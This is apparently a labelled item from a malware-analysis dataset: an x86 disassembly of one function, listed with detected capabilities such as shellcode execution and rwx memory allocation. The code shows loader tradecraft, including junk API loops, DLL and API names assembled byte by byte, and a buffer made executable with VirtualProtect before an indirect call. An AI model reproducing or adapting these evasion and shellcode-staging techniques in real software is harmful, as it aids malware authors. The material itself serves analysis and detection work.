Function at 0x41a900
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2268
call fcn.00407a40
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x4c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x41a936
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x7a4614], 0x6fb
jne 0x41a954
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x41a96c
cmp ebx, 0xc10c98
je 0x41a96c
cmp ebp, 0x952fcbc
jne 0x41a975
inc esi
cmp esi, 0x80c66
jl 0x41a924
cmp dword [0x7a4614], 0xcf8
jne 0x41a9ec
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402a74
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7a4614], 0x3a
jne 0x41a9bd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x278]
push edx
push 0
push 0x402a9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
call fcn.00402e2c
add esp, 4
push 0
push 0
call fcn.00402cf0
push 0
push 0
call fcn.00402dec
push 0
push 0
call fcn.00402dec
push 0
call fcn.00402eea
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x41aa0d
mov eax, 0x5d1
add dword [0x7a4614], eax
cmp dword [0x7a4614], 3
jne 0x41aa39
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x402ac0
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0xa80]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x41a9fa
mov edx, dword [0x7a4614]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x425664], eax
mov eax, dword [0x7a4614]
xor esi, esi
test eax, eax
je 0x41aaa4
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea ecx, [ecx]
cmp eax, 0xfe
jne 0x41aa7b
push 0
call ebx
call fcn.0041a510
mov eax, dword [0x7a4614]
cmp eax, 0x29
jne 0x41aa9f
push 0
push 0
lea eax, [esp + 0xa80]
push eax
push 0
call edi
mov eax, dword [0x7a4614]
inc esi
cmp esi, eax
jb 0x41aa70
cmp eax, 0x70
jne 0x41ab9d
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x402ac8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0xa78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0x127c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402ae8
push 0x402b08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1a80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x67c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x7a4614]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
lea ecx, [ecx]
cmp eax, 0xdf
jne 0x41accd
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
push eax
lea ecx, [esp + 0x1a84]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebp
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea ecx, [esp + 0x67c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea edx, [esp + 0x48]
push edx
push 0x402b3c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea eax, [esp + 0x1278]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7a4614]
dec dword [esp + 0x18]
jne 0x41abc0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x41ace2
push 0x4208d0
mov dword [0x4208d4], 0x32336c65
mov dword [0x4208d8], 0x6c6c642e
mov dword [0x4208d0], 0x6e72656b
mov byte [0x4208dc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x7a4614]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
mov dword [0x7a4610], eax
mov eax, dword [0x425664]
push edx
push eax
mov byte [0x4208db], 0x65
mov dword [0x4208d1], 0x75747269
mov word [0x4208d5], 0x6c61
mov byte [0x4208d0], 0x56
mov word [0x4208dc], 0x7463
mov byte [0x4208de], 0
mov dword [0x4208d7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041a750
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
jmp 0x41ad90
cmp dword [0x7a4614], 0xba
jne 0x41adc6
push 0
lea ecx, [esp + 0x1a7c]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x1290]
push edx
push 0x402b60
call edi
cmp esi, 0x2f64
jne 0x41add9
mov eax, 0x4a8c
add dword [0x425664], eax
inc esi
cmp esi, 0x1605a
jl 0x41ad90
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
cmp dword [0x7a4614], 0x85
jne 0x41ae0d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x41adf3
mov eax, 0x73
mov ecx, 0x6d
mov word [0x7a461a], ax
mov word [0x7a461e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x7a4622], dx
mov word [0x7a462e], cx
mov word [0x7a4620], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x7a4618
mov dword [0x7a4628], 0x6c0064
mov word [0x7a461c], cx
mov word [0x7a4618], dx
mov word [0x7a462c], ax
mov dword [0x7a4624], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7a4614], 0xc30
jne 0x41af4f
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x138]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
lea edx, [esp + 0x684]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x402bb8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea eax, [esp + 0x27c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea ecx, [esp + 0x28]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea edx, [esp + 0xa7c]
push edx
push 0x402c00
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x1c]
push ebx
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret